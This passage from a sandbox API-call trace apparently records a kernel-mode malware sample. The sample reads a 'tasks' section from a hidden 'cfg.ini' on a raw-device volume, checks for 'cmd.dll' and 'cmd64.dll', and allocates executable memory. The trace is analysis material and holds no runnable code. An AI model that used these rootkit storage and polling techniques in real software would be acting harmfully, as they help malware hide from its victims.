KeEnterCriticalRegion () [0120.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.532] KeLeaveCriticalRegion () [0120.532] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.532] KeEnterCriticalRegion () [0120.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.532] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.532] IdePortDispatch () returned 0x103 [0120.532] KeWaitForMutexObject () returned 0x0 [0120.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.532] KeLeaveCriticalRegion () [0120.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.533] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.533] KeEnterCriticalRegion () [0120.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0120.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.533] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.533] IdePortDispatch () returned 0x103 [0120.533] KeWaitForMutexObject () returned 0x0 [0120.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.533] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.533] IdePortDispatch () returned 0x103 [0120.533] KeWaitForMutexObject () returned 0x0 [0120.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.533] KeLeaveCriticalRegion () [0120.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.534] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.534] KeEnterCriticalRegion () [0120.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] KeLeaveCriticalRegion () [0120.534] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.534] KeEnterCriticalRegion () [0120.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.534] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] KeLeaveCriticalRegion () [0120.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.534] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.534] KeEnterCriticalRegion () [0120.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] KeLeaveCriticalRegion () [0120.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.534] ReleaseMutex (hMutex=0xf0) returned 1 [0120.534] Sleep (dwMilliseconds=0x927c0) [0120.547] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.549] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.549] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.549] KeEnterCriticalRegion () [0120.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.549] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.549] IdePortDispatch () returned 0x103 [0120.549] KeWaitForMutexObject () returned 0x0 [0120.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.550] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.550] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.550] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.550] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.550] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba720 [0120.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.550] KeLeaveCriticalRegion () [0120.550] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.550] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.550] KeEnterCriticalRegion () [0120.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.550] KeLeaveCriticalRegion () [0120.550] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.550] KeEnterCriticalRegion () [0120.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.550] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.550] IdePortDispatch () returned 0x103 [0120.552] KeWaitForMutexObject () returned 0x0 [0120.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.552] KeLeaveCriticalRegion () [0120.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.552] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.552] KeEnterCriticalRegion () [0120.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349a000 [0120.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.552] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.552] IdePortDispatch () returned 0x103 [0120.553] KeWaitForMutexObject () returned 0x0 [0120.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.553] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.553] IdePortDispatch () returned 0x103 [0120.553] KeWaitForMutexObject () returned 0x0 [0120.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.553] KeLeaveCriticalRegion () [0120.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.554] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.554] KeEnterCriticalRegion () [0120.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] KeLeaveCriticalRegion () [0120.554] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.554] KeEnterCriticalRegion () [0120.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.554] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] KeLeaveCriticalRegion () [0120.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.554] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.554] KeEnterCriticalRegion () [0120.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] ExFreePoolWithTag (P=0xfffffa8003bba720, Tag=0x0) [0120.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] KeLeaveCriticalRegion () [0120.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.554] ReleaseMutex (hMutex=0xf0) returned 1 [0120.554] Sleep (dwMilliseconds=0x927c0) [0120.568] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.568] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.568] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.568] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.568] KeEnterCriticalRegion () [0120.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.568] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.568] IdePortDispatch () returned 0x103 [0120.568] KeWaitForMutexObject () returned 0x0 [0120.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba360 [0120.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.568] KeLeaveCriticalRegion () [0120.568] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.568] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.568] KeEnterCriticalRegion () [0120.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.568] KeLeaveCriticalRegion () [0120.568] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.568] KeEnterCriticalRegion () [0120.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.568] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.568] IdePortDispatch () returned 0x103 [0120.569] KeWaitForMutexObject () returned 0x0 [0120.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.569] KeLeaveCriticalRegion () [0120.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.569] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.569] KeEnterCriticalRegion () [0120.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349f000 [0120.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.569] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.569] IdePortDispatch () returned 0x103 [0120.569] KeWaitForMutexObject () returned 0x0 [0120.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.569] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.569] IdePortDispatch () returned 0x103 [0120.569] KeWaitForMutexObject () returned 0x0 [0120.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] KeLeaveCriticalRegion () [0120.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.570] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.570] KeEnterCriticalRegion () [0120.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] KeLeaveCriticalRegion () [0120.570] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.570] KeEnterCriticalRegion () [0120.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.570] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] KeLeaveCriticalRegion () [0120.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.570] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.570] KeEnterCriticalRegion () [0120.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] ExFreePoolWithTag (P=0xfffffa8003bba360, Tag=0x0) [0120.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.570] KeLeaveCriticalRegion () [0120.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.570] ReleaseMutex (hMutex=0xf0) returned 1 [0120.571] Sleep (dwMilliseconds=0x927c0) [0120.584] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.584] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.585] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.585] KeEnterCriticalRegion () [0120.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.585] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.585] IdePortDispatch () returned 0x103 [0120.585] KeWaitForMutexObject () returned 0x0 [0120.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.585] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.585] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.585] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.585] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.585] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.585] KeLeaveCriticalRegion () [0120.585] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.585] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.585] KeEnterCriticalRegion () [0120.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.585] KeLeaveCriticalRegion () [0120.585] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.585] KeEnterCriticalRegion () [0120.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.585] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.585] IdePortDispatch () returned 0x103 [0120.587] KeWaitForMutexObject () returned 0x0 [0120.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.587] KeLeaveCriticalRegion () [0120.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.587] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.587] KeEnterCriticalRegion () [0120.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a4000 [0120.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 